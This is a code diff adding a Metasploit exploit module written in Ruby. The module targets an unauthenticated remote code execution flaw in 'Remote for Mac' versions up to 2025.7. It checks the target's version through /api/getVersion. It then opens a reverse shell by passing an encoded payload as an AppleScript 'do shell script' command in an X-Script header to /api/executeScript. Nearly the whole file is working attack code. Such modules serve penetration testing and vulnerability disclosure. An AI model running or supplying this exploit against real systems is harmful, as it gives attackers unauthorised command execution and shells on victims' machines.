|
| 1 | +require 'json' |
| 2 | + |
| 3 | +class MetasploitModule < Msf::Exploit::Remote |
| 4 | + Rank = NormalRanking |
| 5 | + |
| 6 | + include Msf::Exploit::Remote::HttpClient |
| 7 | + prepend Msf::Exploit::Remote::AutoCheck |
| 8 | + |
| 9 | + def initialize(info = {}) |
| 10 | + super( |
| 11 | + update_info( |
| 12 | + info, |
| 13 | + 'Name' => 'Remote for Mac Unauthenticated RCE', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits an unauthenticated remote code execution vulnerability in |
| 16 | + Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint. |
| 17 | + When authentication is disabled on the target system, it allows attackers to execute |
| 18 | + arbitrary AppleScript commands, which can include shell commands via `do shell script`. |
| 19 | + All versions up to 2025.7 (including patch versions) are vulnerable. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => ['Chokri Hammedi (@blue0x1)'], |
| 23 | + 'References' => [ |
| 24 | + ['PACKETSTORM', '195347'] |
| 25 | + ], |
| 26 | + 'DisclosureDate' => '2025-05-27', |
| 27 | + 'Platform' => ['unix', 'osx'], |
| 28 | + 'Arch' => ARCH_CMD, |
| 29 | + 'Targets' => [['Auto', {}]], |
| 30 | + 'DefaultTarget' => 0, |
| 31 | + 'DefaultOptions' => { |
| 32 | + 'SSL' => true |
| 33 | + }, |
| 34 | + 'Notes' => { |
| 35 | + 'Stability' => [CRASH_SAFE], |
| 36 | + 'Reliability' => [REPEATABLE_SESSION], |
| 37 | + 'SideEffects' => [IOC_IN_LOGS] |
| 38 | + } |
| 39 | + ) |
| 40 | + ) |
| 41 | + end |
| 42 | + |
| 43 | + def check |
| 44 | + res = send_request_cgi( |
| 45 | + 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), |
| 46 | + 'method' => 'GET' |
| 47 | + ) |
| 48 | + |
| 49 | + return CheckCode::Unknown('No response from target') unless res&.code == 200 |
| 50 | + |
| 51 | + info = res.get_json_document |
| 52 | + |
| 53 | + if info.empty? |
| 54 | + return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') |
| 55 | + end |
| 56 | + |
| 57 | + if info['requires.auth'] == true |
| 58 | + return CheckCode::Safe('Target requires authentication on /api/executeScript') |
| 59 | + end |
| 60 | + |
| 61 | + version = info['version'].to_s |
| 62 | + if version.empty? |
| 63 | + return CheckCode::Unknown('Could not determine target version') |
| 64 | + end |
| 65 | + |
| 66 | + target_version = Rex::Version.new(version) |
| 67 | + vulnerable_version = Rex::Version.new('2025.7') |
| 68 | + |
| 69 | + if target_version <= vulnerable_version |
| 70 | + return CheckCode::Appears |
| 71 | + else |
| 72 | + return CheckCode::Safe("Target version #{version} is not vulnerable") |
| 73 | + end |
| 74 | + end |
| 75 | + |
| 76 | + def exploit |
| 77 | + print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") |
| 78 | + cmd = payload.encoded |
| 79 | + applescript = %(do shell script "#{cmd}") |
| 80 | + |
| 81 | + host_name = Rex::Text.rand_text_alpha(8) |
| 82 | + host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" |
| 83 | + script_name = Rex::Text.rand_text_alpha(8) |
| 84 | + |
| 85 | + print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") |
| 86 | + res = send_request_cgi( |
| 87 | + 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), |
| 88 | + 'method' => 'GET', |
| 89 | + 'headers' => { |
| 90 | + 'X-ClientToken' => Rex::Text.rand_text_numeric(4), |
| 91 | + 'X-HostName' => host_name, |
| 92 | + 'X-HostFullModel' => host_model, |
| 93 | + 'X-Script' => applescript, |
| 94 | + 'X-ScriptName' => script_name, |
| 95 | + 'X-ScriptDelay' => '0' |
| 96 | + } |
| 97 | + ) |
| 98 | + |
| 99 | + print_status('Payload sent') |
| 100 | + if res&.code == 200 |
| 101 | + print_good('Payload delivered successfully. Awaiting session...') |
| 102 | + res_json = res.get_json_document |
| 103 | + print_status("Received response: #{res_json['result']}") |
| 104 | + end |
| 105 | + end |
| 106 | +end |
0 commit comments